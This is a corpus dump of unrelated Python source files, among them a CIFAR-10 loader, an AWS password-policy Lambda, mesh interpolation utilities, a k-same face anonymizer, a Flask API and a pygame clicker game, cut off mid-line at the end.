in test_datafiles: d = unpickle(self.data_dir + '/' + f) data = d["data"] labels = np.array(d["labels"]) nsamples = len(data) # targets = np.where(labels == target_label)[0] for idx in range(nsamples): test_data.append(data[idx].reshape(3, 32, 32).transpose(1, 2, 0)) test_labels.append(labels[idx]) if reshape: train_ = self.rgb2gray(np.array(train_data, dtype=np.float32)) test_ = self.rgb2gray(np.array(test_data, dtype=np.float32)) else: train_ = np.array(train_data, dtype=np.float32) test_ = np.array(test_data, dtype=np.float32) train_labels_ = self.dense_to_one_hot(np.array(train_labels, dtype=np.uint8)) test_labels_ = self.dense_to_one_hot(np.array(test_labels, dtype=np.uint8)) self.train = DataSet(train_, train_labels_, dtype=dtypes.float32, reshape=reshape) self.test = DataSet(test_, test_labels_, dtype=dtypes.float32, reshape=reshape) def read_data_sets(self): return base.Datasets(train=self.train, test=self.test, validation=None) def rgb2gray(self, rgb): return np.dot(rgb[..., :3], [[0.299], [0.587], [0.114]]) def dense_to_one_hot(self, labels_dense, num_classes=10): """Convert class labels from scalars to one-hot vectors.""" num_labels = labels_dense.shape[0] index_offset = numpy.arange(num_labels) * num_classes labels_one_hot = numpy.zeros((num_labels, num_classes)) labels_one_hot.flat[index_offset + labels_dense.ravel()] = 1 return labels_one_hot class DataLoader(): def __init__(self, batch_size=100, target_label=6, data_dir="raw_data/cifar-10-batches-py"): self.data_dir = data_dir self.batch_size = batch_size self.target_label = target_label datafiles = ['data_batch_1', 'data_batch_2', 'data_batch_3', 'data_batch_4', 'data_batch_5'] test_datafiles = ['test_batch'] def unpickle(f): fo = open(f, 'rb') d = pickle.load(fo, encoding="latin1") fo.close() return d self.train_data = [] self.test_data = [] for f in datafiles: d = unpickle(self.data_dir + '/' + f) data = d["data"] labels = np.array(d["labels"]) nsamples = len(data) # targets = np.where(labels == target_label)[0] for idx in range(nsamples): self.train_data.append(data[idx].reshape(3, 32, 32).transpose(1, 2, 0)) for f in test_datafiles: d = unpickle(self.data_dir + '/' + f) data = d["data"] labels = np.array(d["labels"]) nsamples = len(data) # targets = np.where(labels == target_label)[0] for idx in range(nsamples): self.test_data.append(data[idx].reshape(3, 32, 32).transpose(1, 2, 0)) self.train_data = np.array(self.train_data, dtype=np.float32) self.test_data = np.array(self.train_data, dtype=np.float32) self.train_data /= 255.0 self.num_examples = len(self.train_data) self.pointer = 0 self.shuffle_data() def show_random_image(self): pos = 1 for i in range(10): for j in range(10): plt.subplot(10, 10, pos) img = random.choice(self.train_data) # (channel, row, column) => (row, column, channel) plt.imshow(np.clip(img, 0.0, 1.0), interpolation='none') plt.axis('off') pos += 1 plt.show() def show_image(self, image): ''' image is in [height width depth] ''' plt.subplot(1, 1, 1) plt.imshow(np.clip(image, 0.0, 1.0), interpolation='none') plt.axis('off') plt.show() def next_batch(self, batch_size, distorted=False, flatten=False): self.pointer += batch_size if self.pointer >= self.num_examples: self.pointer = 0 result = [] def random_flip(x): if np.random.rand(1)[0] > 0.5: return np.fliplr(x) return x for data in self.train_data[self.pointer:self.pointer + batch_size]: result.append(random_flip(data)) if distorted: raw_result = self.distort_batch(np.array(result, dtype=np.float32)) else: raw_result = np.array(result, dtype=np.float32) if flatten: return raw_result else: return raw_result def distort_batch(self, batch): batch_size = len(batch) row_distort = np.random.randint(0, 3, batch_size) col_distort = np.random.randint(0, 3, batch_size) result = np.zeros(shape=(batch_size, 30, 30, 3), dtype=np.float32) for i in range(batch_size): result[i, :, :, :] = batch[i, row_distort[i]:row_distort[i] + 30, col_distort[i]:col_distort[i] + 30, :] return result def shuffle_data(self): self.train_data = np.random.permutation(self.train_data)
true
e418a4eb59c778acf17936a28d01c86b3d1a5c32
Python
idealgupta/pyhon-basic
/form.py
UTF-8
191
3.421875
3
[]
no_license
mat =[ [1,2,3], [4,5,6], [7,8,9] ] print(mat) trans=[] for i in range(3): x=[] for row in mat: x.append(row[i]) trans.append(x) print(trans)
true
4d69689cb485ccc9d391b2c38d8660f9820dbef5
Python
devanand73/landing-zone
/unzip/aws-landing-zone-acct-password-policy/update_acct_password_policy.py
UTF-8
5,004
2.609375
3
[]
no_license
#!/usr/bin/python ############################################################################### # Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # # # Licensed under the Apache License Version 2.0 (the "License"). You may not # # use this file except in compliance with the License. A copy of the License # # is located at # # # # http://www.apache.org/licenses/ # # # # or in the "license" file accompanying this file. This file is distributed # # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, express # # or implied. See the License for the specific language governing permis- # # sions and limitations under the License. # ############################################################################### """ Delete or update password policy on an account Event: RequestType: [ Delete | Create | Update ] ResourceProperties: AllowUsersToChangePassword: [ True | False ] HardExpiry: [ True | False ] MaxPasswordAge: int default: 0 PasswordReusePrevention: int default: 0 MinimumPasswordLength: int (no default) RequireLowerCaseCharacters: [ True | False ] RequireNumbers: [ True | False ] RequireSymbols: [ True | False ] RequireUppercaseCharacters [ True | False ] Response: cfn_handler is called, passing the create, update, and delete function objects. cfn_handler takes care of sending the response to the Cloud- Formation stack. """ import os from ast import literal_eval import boto3 from botocore.exceptions import ClientError from botocore.client import Config from lib.logger import Logger from lib.crhelper import cfn_handler # initialize logger log_level = 'debug' if os.environ.get('log_level', None) is None else os.environ.get('log_level') logger = Logger(loglevel=log_level) init_failed = False config = Config(retries = {'max_attempts':4}) iam = boto3.client('iam', config=config) def create(event, context): """ Create/Update """ resource_props = event.get('ResourceProperties', {}) physical_resource_id = "CustomResourcePhysicalID" try: response = iam.update_account_password_policy( AllowUsersToChangePassword=literal_eval( resource_props.get('AllowUsersToChangePassword', 'True').title() ), HardExpiry=literal_eval( resource_props.get('HardExpiry', 'True').title() ), MaxPasswordAge=int(resource_props.get('MaxPasswordAge', 0)), MinimumPasswordLength=int(resource_props.get('MinimumPasswordLength', 8)), PasswordReusePrevention=int(resource_props.get('PasswordReusePrevention', 0)), RequireLowercaseCharacters=literal_eval( resource_props.get('RequireLowercaseCharacters', 'True').title() ), RequireNumbers=literal_eval( resource_props.get('RequireNumbers', 'True').title() ), RequireSymbols=literal_eval( resource_props.get('RequireSymbols', 'True').title() ), RequireUppercaseCharacters=literal_eval( resource_props.get('RequireUppercaseCharacters', 'True').title() ) ) except ClientError as exc: logger.warning('update_account_password_policy encountered an exception: {}'.format(exc)) raise exc return physical_resource_id, response def delete(event, context): """ Delete the account password policy """ try: iam.delete_account_password_policy() except ClientError as exc: # Ignore exception if policy doesn't exist if exc.response['Error']['Code'] != 'NoSuchEntity': logger.warning('delete_account_password_policy encountered an exception: {}'.format(exc)) raise exc update = create # update and create call the same function def lambda_handler(event, context): """ Pass event and context to cfn_handler cfn_handler calls the functions above based on mapping below, then uses its "send" function to post the result to CloudFormation """ logger.info("<<<<<<<<<< Lambda_handler Event >>>>>>>>>>") logger.info(event) request_type = event.get('RequestType', 'invalid').lower() if request_type in ['update', 'create', 'delete']: return cfn_handler(event, context, create, update, delete, logger, init_failed) else: logger.error('Invalid or missing request type {}'.format(request_type)) raise ValueError('No valid RequestType found! Request type "{}" received'.format(event['RequestType']))
true
934e7516c7d44790037ebb5d639210fa098b19d3
Python
c7w/BiliSearchCST
/Web/utils/Pagination.py
UTF-8
1,399
2.703125
3
[]
no_license
class Pagination: def __init__(self, src, baseUrl, **kwargs): self.src = src self.count = kwargs.get('count', 10) self.baseUrl = baseUrl self.length = kwargs.get('length', -1) if self.length == -1: self.length = len(src) def getMaxPage(self): return (self.length + (self.count-1)) // self.count def getPageSrc(self, val): if(val < 1 or val > self.getMaxPage()): return [] else: return self.src[self.count * (val-1): self.count*val] def getPage(self, val): if self.length == 0: return {} def addToSet(s, val): for i in val: if 0 < i and i <= self.getMaxPage(): s.add(i) s = set() addToSet(s, [1, 2, self.getMaxPage(), self.getMaxPage()-1]) addToSet(s, [i for i in range(val-2, val+3)]) rl = list(s) rl.sort() l = [] l.append('L') for index, element in enumerate(rl): if index > 0: if rl[index] - rl[index-1] > 1: l.append(-1) l.append(element) l.append('R') result = { "baseUrl": self.baseUrl, "max": self.getMaxPage(), "list": l, "current": val, "count": self.length, } return result
true
d6564a6725a92dc50ffcd2b02f6906bc6bf27ced
Python
chrishavlin/tempidv
/yt_idv/cameras/base_camera.py
UTF-8
3,807
2.609375
3
[ "BSD-3-Clause" ]
permissive
import contextlib import numpy as np import traitlets import traittypes from OpenGL import GL from yt_idv.traitlets_support import YTPositionTrait, ndarray_ro, ndarray_shape class BaseCamera(traitlets.HasTraits): """Camera object used in the Interactive Data Visualization Parameters ---------- position : :obj:`!iterable`, or 3 element array in code_length The initial position of the camera. focus : :obj:`!iterable`, or 3 element array in code_length A point in space that the camera is looking at. up : :obj:`!iterable`, or 3 element array in code_length The 'up' direction for the camera. fov : float, optional An angle defining field of view in degrees. near_plane : float, optional The distance to the near plane of the perspective camera. far_plane : float, optional The distance to the far plane of the perspective camera. aspect_ratio: float, optional The ratio between the height and the width of the camera's fov. """ # We have to be careful about some of these, as it's possible in-place # operations won't trigger our observation. position = YTPositionTrait([0.0, 0.0, 1.0]) focus = YTPositionTrait([0.0, 0.0, 0.0]) up = traittypes.Array(np.array([0.0, 0.0, 1.0])).valid( ndarray_shape(3), ndarray_ro() ) fov = traitlets.Float(45.0) near_plane = traitlets.Float(0.001) far_plane = traitlets.Float(20.0) aspect_ratio = traitlets.Float(8.0 / 6.0) projection_matrix = traittypes.Array(np.zeros((4, 4))).valid( ndarray_shape(4, 4), ndarray_ro() ) view_matrix = traittypes.Array(np.zeros((4, 4))).valid( ndarray_shape(4, 4), ndarray_ro() ) orientation = traittypes.Array(np.zeros(4)).valid(ndarray_shape(4), ndarray_ro()) held = traitlets.Bool(False) @contextlib.contextmanager def hold_traits(self, func): # for some reason, hold_trait_notifications doesn't seem to work here. # So, we use this to block. We also do not want to pass the # notifications once completed. if not self.held: self.held = True func() self.held = False yield @traitlets.default("up") def _default_up(self): return np.array([0.0, 1.0, 0.0]) @traitlets.observe( "position", "focus", "up", "fov", "near_plane", "far_plane", "aspect_ratio", "orientation", ) def compute_matrices(self, change=None): """Regenerate all position, view and projection matrices of the camera.""" with self.hold_traits(self._compute_matrices): pass def update_orientation(self, start_x, start_y, end_x, end_y): """Change camera orientation matrix using delta of mouse's cursor position Parameters ---------- start_x : float initial cursor position in x direction start_y : float initial cursor position in y direction end_x : float final cursor position in x direction end_y : float final cursor position in y direction """ pass def _set_uniforms(self, scene, shader_program): GL.glDepthRange(0.0, 1.0) # Not the same as near/far plane shader_program._set_uniform("projection", self.projection_matrix) shader_program._set_uniform("modelview", self.view_matrix) shader_program._set_uniform( "viewport", np.array(GL.glGetIntegerv(GL.GL_VIEWPORT), dtype="f4") ) shader_program._set_uniform("near_plane", self.near_plane) shader_program._set_uniform("far_plane", self.far_plane) shader_program._set_uniform("camera_pos", self.position)
true
3ec35f7aad8694c5fce18d3681160a5e68a30fb8
Python
simpeg/discretize
/discretize/utils/interpolation_utils.py
UTF-8
10,882
3.078125
3
[ "MIT" ]
permissive
"""Utilities for creating averaging operators.""" import numpy as np import scipy.sparse as sp from discretize.utils.matrix_utils import mkvc, sub2ind from discretize.utils.code_utils import deprecate_function try: from discretize._extensions import interputils_cython as pyx _interp_point_1D = pyx._interp_point_1D _interpmat1D = pyx._interpmat1D _interpmat2D = pyx._interpmat2D _interpmat3D = pyx._interpmat3D _vol_interp = pyx._tensor_volume_averaging _interpCython = True except ImportError as err: print(err) import os # Check if being called from non-standard location (i.e. a git repository) # is tree_ext.cpp here? will not be in the folder if installed to site-packages... file_test = ( os.path.dirname(os.path.abspath(__file__)) + "/_extensions/interputils_cython.pyx" ) if os.path.isfile(file_test): # Then we are being run from a repository print( """ Unable to import interputils_cython. It would appear that discretize is being imported from its repository. If this is intentional, you need to run: python setup.py build_ext --inplace to build the cython code. """ ) _interpCython = False def interpolation_matrix(locs, x, y=None, z=None): """ Generate interpolation matrix which maps a tensor quantity to a set of locations. This function generates a sparse matrix for interpolating tensor quantities to a set of specified locations. It uses nD linear interpolation. The user may generate the interpolation matrix for tensor quantities that live on 1D, 2D or 3D tensors. This functionality is frequently used to interpolate quantites from cell centers or nodes to specified locations. In higher dimensions the ordering of the output has the 1st dimension changing the quickest. Parameters ---------- locs : (n, dim) numpy.ndarray The locations for the interpolated values. Here *n* is the number of locations and *dim* is the dimension (1, 2 or 3) x : (nx) numpy.ndarray Vector defining the locations of the tensor along the x-axis y : (ny) numpy.ndarray, optional Vector defining the locations of the tensor along the y-axis. Required if ``dim`` is 2. z : (nz) numpy.ndarray, optional Vector defining the locations of the tensor along the z-axis. Required if ``dim`` is 3. Returns ------- (n, nx * ny * nz) scipy.sparse.csr_matrix A sparse matrix which interpolates the tensor quantity on cell centers or nodes to the set of specified locations. Examples -------- Here is a 1D example where a function evaluated on a regularly spaced grid is interpolated to a set of random locations. To compare the accuracy, the function is evaluated at the set of random locations. >>> from discretize.utils import interpolation_matrix >>> from discretize import TensorMesh >>> import numpy as np >>> import matplotlib.pyplot as plt >>> np.random.seed(14) Create an interpolation matrix >>> locs = np.random.rand(50)*0.8+0.1 >>> x = np.linspace(0, 1, 7) >>> dense = np.linspace(0, 1, 200) >>> fun = lambda x: np.cos(2*np.pi*x) >>> Q = interpolation_matrix(locs, x) Plot original function and interpolation >>> fig1 = plt.figure(figsize=(5, 3)) >>> ax = fig1.add_axes([0.1, 0.1, 0.8, 0.8]) >>> ax.plot(dense, fun(dense), 'k:', lw=3) >>> ax.plot(x, fun(x), 'ks', markersize=8) >>> ax.plot(locs, Q*fun(x), 'go', markersize=4) >>> ax.plot(locs, fun(locs), 'rs', markersize=4) >>> ax.legend( ... [ ... 'True Function', ... 'True (discrete loc.)', ... 'Interpolated (computed)', ... 'True (interp. loc.)' ... ], ... loc='upper center' ... ) >>> plt.show() Here, demonstrate a similar example on a 2D mesh using a 2D Gaussian distribution. We interpolate the Gaussian from the nodes to cell centers and examine the relative error. >>> hx = np.ones(10) >>> hy = np.ones(10) >>> mesh = TensorMesh([hx, hy], x0='CC') >>> def fun(x, y): ... return np.exp(-(x**2 + y**2)/2**2) Define the the value at the mesh nodes, >>> nodes = mesh.nodes >>> val_nodes = fun(nodes[:, 0], nodes[:, 1]) >>> centers = mesh.cell_centers >>> A = interpolation_matrix( ... centers, mesh.nodes_x, mesh.nodes_y ... ) >>> val_interp = A.dot(val_nodes) Plot the interpolated values, along with the true values at cell centers, >>> val_centers = fun(centers[:, 0], centers[:, 1]) >>> fig = plt.figure(figsize=(11,3.3)) >>> clim = (0., 1.) >>> ax1 = fig.add_subplot(131) >>> ax2 = fig.add_subplot(132) >>> ax3 = fig.add_subplot(133) >>> mesh.plot_image(val_centers, ax=ax1, clim=clim) >>> mesh.plot_image(val_interp, ax=ax2, clim=clim) >>> mesh.plot_image(val_centers-val_interp, ax=ax3, clim=clim) >>> ax1.set_title('Analytic at Centers') >>> ax2.set_title('Interpolated from Nodes') >>> ax3.set_title('Relative Error') >>> plt.show() """ npts = locs.shape[0] locs = locs.astype(float) x = x.astype(float) if y is None and z is None: shape = [x.size] inds, vals = _interpmat1D(mkvc(locs), x) elif z is None: y = y.astype(float) shape = [x.size, y.size] inds, vals = _interpmat2D(locs, x, y) else: y = y.astype(float) z = z.astype(float) shape = [x.size, y.size, z.size] inds, vals = _interpmat3D(locs, x, y, z) I = np.repeat(range(npts), 2 ** len(shape)) J = sub2ind(shape, inds) Q = sp.csr_matrix((vals, (I, J)), shape=(npts, np.prod(shape))) return Q def volume_average(mesh_in, mesh_out, values=None, output=None): """Volume averaging interpolation between meshes. This volume averaging function looks for overlapping cells in each mesh, and weights the output values by the partial volume ratio of the overlapping input cells. The volume average operation should result in an output such that ``np.sum(mesh_in.cell_volumes*values)`` = ``np.sum(mesh_out.cell_volumes*output)``, when the input and output meshes have the exact same extent. When the output mesh extent goes beyond the input mesh, it is assumed to have constant values in that direction. When the output mesh extent is smaller than the input mesh, only the overlapping extent of the input mesh contributes to the output. This function operates in three different modes. If only *mesh_in* and *mesh_out* are given, the returned value is a ``scipy.sparse.csr_matrix`` that represents this operation (so it could potentially be applied repeatedly). If *values* is given, the volume averaging is performed right away (without internally forming the matrix) and the returned value is the result of this. If *output* is given as well, it will be filled with the values of the operation and then returned (assuming it has the correct ``dtype``). Parameters ---------- mesh_in : ~discretize.TensorMesh or ~discretize.TreeMesh Input mesh (the mesh you are interpolating from) mesh_out : ~discretize.TensorMesh or ~discretize.TreeMesh Output mesh (the mesh you are interpolating to) values : (mesh_in.n_cells) numpy.ndarray, optional Array with values defined at the cells of ``mesh_in`` output : (mesh_out.n_cells) numpy.ndarray of float, optional Output array to be overwritten Returns ------- (mesh_out.n_cells, mesh_in.n_cells) scipy.sparse.csr_matrix or (mesh_out.n_cells) numpy.ndarray If *values* = *None* , the returned value is a matrix representing this operation, otherwise it is a :class:`numpy.ndarray` of the result of the operation. Examples -------- Create two meshes with the same extent, but different divisions (the meshes do not have to be the same extent). >>> import numpy as np >>> from discretize import TensorMesh >>> h1 = np.ones(32) >>> h2 = np.ones(16)*2 >>> mesh_in = TensorMesh([h1, h1]) >>> mesh_out = TensorMesh([h2, h2]) Create a random model defined on the input mesh, and use volume averaging to interpolate it to the output mesh. >>> from discretize.utils import volume_average >>> model1 = np.random.rand(mesh_in.nC) >>> model2 = volume_average(mesh_in, mesh_out, model1) Because these two meshes' cells are perfectly aligned, but the output mesh has 1 cell for each 4 of the input cells, this operation should effectively look like averaging each of those cells values >>> import matplotlib.pyplot as plt >>> plt.figure(figsize=(6, 3)) >>> ax1 = plt.subplot(121) >>> mesh_in.plot_image(model1, ax=ax1) >>> ax2 = plt.subplot(122) >>> mesh_out.plot_image(model2, ax=ax2) >>> plt.show() """ try: in_type = mesh_in._meshType out_type = mesh_out._meshType except AttributeError: raise TypeError("Both input and output mesh must be valid discetize meshes") valid_meshs = ["TENSOR", "TREE"] if in_type not in valid_meshs or out_type not in valid_meshs: raise NotImplementedError( f"Volume averaging is only implemented for TensorMesh and TreeMesh, " f"not {type(mesh_in).__name__} and/or {type(mesh_out).__name__}" ) if mesh_in.dim != mesh_out.dim: raise ValueError("Both meshes must have the same dimension") if values is not None and len(values) != mesh_in.nC: raise ValueError( "Input array does not have the same length as the number of cells in input mesh" ) if output is not None and len(output) != mesh_out.nC: raise ValueError( "Output array does not have the same length as the number of cells in output mesh" ) if values is not None: values = np.asarray(values, dtype=np.float64) if output is not None: output = np.asarray(output, dtype=np.float64) if in_type == "TENSOR": if out_type == "TENSOR": return _vol_interp(mesh_in, mesh_out, values, output) elif out_type == "TREE": return mesh_out._vol_avg_from_tens(mesh_in, values, output) elif in_type == "TREE": if out_type == "TENSOR": return mesh_in._vol_avg_to_tens(mesh_out, values, output) elif out_type == "TREE": return mesh_out._vol_avg_from_tree(mesh_in, values, output) else: raise TypeError("Unsupported mesh types") interpmat = deprecate_function( interpolation_matrix, "interpmat", removal_version="1.0.0", error=True )
true
c9e849fb8807c6b3ede7a57d29ecd7ba38ea69cc
Python
rossigiorgio/DIA_Project2020-2021
/PricingAdvertising/pricingEnviroment/Non_Stationary_Environment.py
UTF-8
655
2.78125
3
[]
permissive
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Thu Jul 1 14:07:39 2021 @author: amandaseger """ from Environment import Environment import numpy as np class Non_Stationary_Environment(Environment): def __init__(self, n_arms, probabilities, horizon): super().__init__(n_arms, probabilities) self.t = 0 n_phases = len(self.probabilities) self.phase_size = horizon/n_phases def round(self, pulled_arm): current_phase = int(self.t / self.phase_size) p = self.probabilities[current_phase][pulled_arm] reward = np.random.binomial(1, p) self.t += 1 return reward
true
b3f5fae84e1319528c7d2a95d46ba089ecdacec9
Python
dmon6/coursera
/course_4_troubleshooting/week1/search_types.py
UTF-8
962
4.03125
4
[]
no_license
#!/usr/bin/env python3.7 def linear_search(list, key): """If key is in the list returns its position in the list, otherwise returns -1.""" for i, item in enumerate(list): if item == key: return i return -1 def binary_search(list, key): """Returns the position of key in the list if found, -1 otherwise. List must be sorted. """ left = 0 right = len(list) - 1 while left <= right: middle = (left + right) // 2 if list[middle] == key: return middle if list[middle] > key: right = middle - 1 if list[middle] < key: left = middle + 1 return -1 test_list = [x for x in range(1, 100001)] test_find = 10000 test_case = linear_search(test_list, test_find) #test_case2 = binary_search(test_list, test_find) print(f'Found test_find: {test_find} at index {test_case}') #print(f'Found test_find: {test_find} at index {test_case2}')
true
b098efea86ba5eb4c002968a9146495230a07056
Python
dazm1710/matrizCaracol
/matrizCaracolSinNumpy.py
ISO-8859-2
579
3.3125
3
[]
no_license
at = [x.split() for x in open("matriz.txt","r").readlines()] def rotar(lista): if len(lista)>=2: return list(reversed(map(list, zip(*reversed(lista[::-1]))))) return lista def sepLista(lista): if lista==[]: return [] return (lista[0] + sepLista((rotar(lista[1:])))) print sepLista(at) """ reversed: cambia el orden del array zip: convierte en lista y cambia orden dentro de cada renglon map: convierte el zip en arreglo list: convierte a lista El condicional se usa para que cuando no slo haya un elemento no rote ya que generaria error """
true
440388c8a184161ae57af8746809a0dd8ba717f8
Python
carlomarxdk/Face-Anonymization
/k_same/anonymizer.py
UTF-8
6,720
2.609375
3
[]
no_license
import numpy as np from math import sqrt import cv2 import os from sklearn.decomposition import IncrementalPCA from matplotlib import pyplot as plt PCA_N = 30 SCALER = 0.45 E = 8e-15 class Anonymizer: def __init__(self): self.M = None self.mean = None self.normalized_mean = None self.std = None self.A = None self.pca = None self.face_space = None self.normalized_gallery = None self.normalized_training = None self.anonimized = None def setup(self, gallery, training, shape): # assumed that each image in gallery and training is transformed to 1D np array # each face is a row self.M = training.shape[0] # number of images self.A = np.zeros(shape=(self.M, training.shape[1])) # difference matrix self.anonimized = np.zeros(shape=(self.M, training.shape[1])) self.mean = self.average(training) self.std = np.std(training, axis=0) self.std = np.nan_to_num(self.std) + E self.normalized_training = self.normalize(training, self.mean, self.std) self.normalized_gallery = self.normalize(training, self.mean, self.std) self.normalized_mean = self.mean/(self.std) for indx in range(0, self.M): self.A[indx, :] = (self.normalized_training[indx, :]) self.pca = IncrementalPCA(n_components=PCA_N, whiten=False) self.pca.fit(self.A) # self.img_pca = self.pca.transform(self.img_average.reshape((-1,1))) # print(pca.components_.shape) # plt.imshow(self.pca.components_[0].reshape(shape), cmap='gray') # plt.show() # plt.plot(self.pca.explained_variance_ratio_) # plt.show() self.face_space = self.pca.transform(self.normalized_gallery) # faces in the PCA space #It is the same as A def recognize(self, img): img = self.normalize_img(img, self.mean, self.std) img_ = np.dot(self.pca.components_, img) match = np.zeros(shape=(self.M, 2)) for indx in range(0, self.face_space.shape[0]): match[indx, 0] = indx match[indx, 1] = np.linalg.norm(img_ - self.face_space[indx, :]) return match[np.argsort(match[:, -1])] def k_same_pixel(self, H, k, shape): self.setup(H, H, shape) for indx in range(0, self.M): match = self.recognize(H[indx, :]) if H.shape[0] < 2 * k: k = H.shape[0] average = np.zeros(shape=(k, H.shape[1])) for i in range(0, k): average[i, :] = self.normalized_training[int(match[i][0]), :] # print(int(match[i][0])) average = self.average(average) * self.std + self.mean result = average self.anonimized[indx, :] = result #plt.imshow(H[indx, :].reshape(shape), cmap='gray', vmin=0, vmax=255) #plt.show() #plt.imshow(result.reshape(shape), cmap='gray') #plt.show() #plt.imshow(self.mean.reshape(shape), cmap='gray', vmin=0, vmax=255) #plt.show() return self.anonimized def k_same_eigen(self, H, k, shape): self.setup(H, H, shape) for indx in range(0, self.M): match = self.recognize(H[indx, :]) if H.shape[0] < 2 * k: k = H.shape[0] average = np.zeros(shape=(k, PCA_N)) for i in range(0, k): average[i, :] = self.face_space[int(match[i][0]), :] average = self.average(average) result = self.pca.inverse_transform(average) * self.std + self.mean #plt.imshow(H[indx, :].reshape(shape), cmap='gray', vmin=0, vmax=255) #plt.show() #plt.imshow(result.reshape(shape), cmap='gray') #plt.show() self.anonimized[indx, :] = result return self.anonimized #plt.imshow(self.mean.reshape(shape), cmap='gray', vmin=0, vmax=255) #plt.show() def k_same_looseM(self,H,k,shape): self.setup(H, H, shape) for indx in range(0, self.M): match = self.recognize(H[indx, :]) if H.shape[0] < 2 * k: k = H.shape[0] average = np.zeros(shape=(k, PCA_N)) for i in range(0, k): average[i, :] = self.face_space[int(match[i][0]), :] boundary = match[-1][1] * SCALER upper_i = match.shape[0] random_i = 0 while True: random_i = np.random.randint(low=0, high=upper_i) if match[random_i][1] < boundary: break else: upper_i = random_i #print(match[-1][1], boundary, int(match[random_i][0]), indx) match = self.recognize(H[int(match[random_i][0])]) average = np.zeros(shape=(k, PCA_N)) for i in range(0, k): average[i, :] = self.face_space[int(match[i][0]), :] average = self.average(average) result = self.pca.inverse_transform(average) * self.std + self.mean self.anonimized[indx, :] = result #plt.imshow(H[indx, :].reshape(shape), cmap='gray', vmin=0, vmax=255) #plt.show() #plt.imshow(result.reshape(shape), cmap='gray') #plt.show() return self.anonimized def process(self, method:'str', gallery, k, shape): if method == 'pixel': output = self.k_same_pixel(gallery, k, shape) elif method == 'eigen': output = self.k_same_eigen(gallery, k, shape) elif method == 'same': output = self.k_same_looseM(gallery, k, shape) print('Saving images', self.anonimized.shape) path = 'results'+ '/' + method + '/'+ str(k) try: os.makedirs(path) except: pass for indx in range(0, self.M): img = output[indx,:].reshape(shape) path = 'results'+ '/' + method + '/'+ str(k) + '/' + str(indx) + '.png' print(path) cv2.imwrite(path, img) @staticmethod def average(image_set): return np.mean(image_set, axis=0) def normalize(self, image_set, mean, std): normalized = np.zeros(shape=image_set.shape) for indx in range(0, self.M): img = image_set[indx, :] normalized[indx, :] = (img - mean) / std return normalized def normalize_img(self, img, mean,std): return (img - mean) /std
true
313c7413ddcb98ac1e150579881e6e6859da92a5
Python
Ironman-007/WOSA
/Code/Python_client/client_pygatt.py
UTF-8
500
2.78125
3
[]
no_license
import pygatt from binascii import hexlify adapter = pygatt.GATTToolBackend() def handle_data(handle, value): """ handle -- integer, characteristic read handle the data was received on value -- bytearray, the data returned in the notification """ print("Received data: %s" % hexlify(value)) try: adapter.start() device = adapter.connect('D6:30:BD:2C:E4:58') device.subscribe("0000ddd1-0000-1000-8000-00805f9b34fb", callback=handle_data) finally: adapter.stop()
true
cad71706688da5931f9933863876accedfbd2d74
Python
eternal-flame/topology
/Web service/server/edge.py
UTF-8
1,004
2.703125
3
[]
no_license
""" Provide functions to add new edge between two nodes, edit port status of two endpoint and delete a existing edge. """ from flask import request, Blueprint from db import connect import functions.edgeFunc as edgeFunc edge = Blueprint('edge', __name__) cursor = connect.cursor() @edge.route('/edit/', methods=['POST']) def edit(): try: topoId = request.args.get('topoId') data = request.get_json() edgeFunc.editEdge(topoId, data) except: return {'status': 'error'} return {'status': 'success'} @edge.route('/delete/', methods=['POST']) def delete(): try: topoId = request.args.get('topoId') connectId = request.get_json()['edge'] status = edgeFunc.deleteEdge(topoId, connectId) except: return {'status': 'error'} return status @edge.route('/add/', methods=['POST']) def add(): try: topoId = request.args.get('topoId') data = request.get_json()['data'] edgeFunc.addEdge(topoId, data) except: return {'status': 'error'} return {'status': 'success'}
true
8a06f027f5f96fa02b887ae12b0fa7aa83d73630
Python
immasyanya/homeework
/урок 3/3.4exersize.py
UTF-8
536
3.765625
4
[]
no_license
def my_func_1(x,y): n = 1 if y == 0: return n else: while y < 0: n = n * x y += 1 return round(1 / n, 3) def my_func_2(x_1,y_1): return round(x_1 ** y_1, 3) print(my_func_1(int(input('Введите положительное число: ')), int(input('Введите отрицательное число: ')))) print(my_func_2(int(input('Введите положительное число: ')), int(input('Введите отрицательное число: '))))
true
77e430cd3a452cccf14f1fa412a6b9c58e334b88
Python
helton886/store-flask-api
/resources/user.py
UTF-8
877
2.59375
3
[]
no_license
import sqlite3 from flask import request from flask_restful import Resource, reqparse from models.user import UserModel class UserRgister(Resource): parser = reqparse.RequestParser() parser.add_argument('username', type=str, required=True, help="You need to inform your username") parser.add_argument('password', type=str, required=True, help="You need to inform your password") def post(self): data = UserRgister.parser.parse_args() user_exists = UserModel.find_by_username(data['username']) if user_exists: return {'error': 'user already exists.'}, 400 user = UserModel(**data) user.save_to_db() return {"message": "user created sucessfully."}, 201
true
cfe06199079ff61c488e77a1e9aba9e55d78e2ac
Python
LinadVonapets/tasha-clicker-pygame
/clicker/main.py
UTF-8
7,054
3
3
[]
no_license
import pygame import random from colors import * pygame.init() # global variables WIDTH = 400 HEIGHT = 600 FPS = 30 count = 0 # initialization win = pygame.display.set_mode((WIDTH, HEIGHT)) pygame.display.set_caption("clicker_indev") pygame.display.set_icon(pygame.image.load('textures/lamp.png').convert_alpha()) clock = pygame.time.Clock() pygame.mouse.set_visible(True) pygame.time.set_timer(pygame.USEREVENT, 1000) # load textures, sounds and texts/fonts FONT = pygame.font.SysFont(None, 20) #cursor = pygame.image.load("textures/lamp.png") background = pygame.image.load("textures/background.png").convert_alpha() pop_sound = [pygame.mixer.Sound("sounds/pop5.wav"), pygame.mixer.Sound("sounds/pop6.wav"), pygame.mixer.Sound("sounds/pop7.wav")] class Button(pygame.sprite.Sprite): def __init__(self, surfOrTexture, position, group): pygame.sprite.Sprite.__init__(self) try: self.image = pygame.image.load(surfOrTexture).convert_alpha() except: self.size = surfOrTexture[0] self.color = surfOrTexture[1] self.image = pygame.Surface(self.size) self.image.fill(self.color) else: print("Ошибка загрузки изображения или создания поверхности!") self.rect = self.image.get_rect(topleft=position) self.add(group) def button_pressed(self): return self.rect.collidepoint(e.pos) class Item(Button): def __init__(self, rect, text, base_price, base_cps_each): self.rect = rect self.text = text self.count = 0 self.base_price = base_price self.cps_each = base_cps_each def draw(self, surface): #draw background pygame.draw.rect(surface, BLUE, self.rect, 0) #draw border pygame.draw.rect(surface, BLUE, self.rect, 2) #draw text text_surface = FONT.render(str(self.count) + 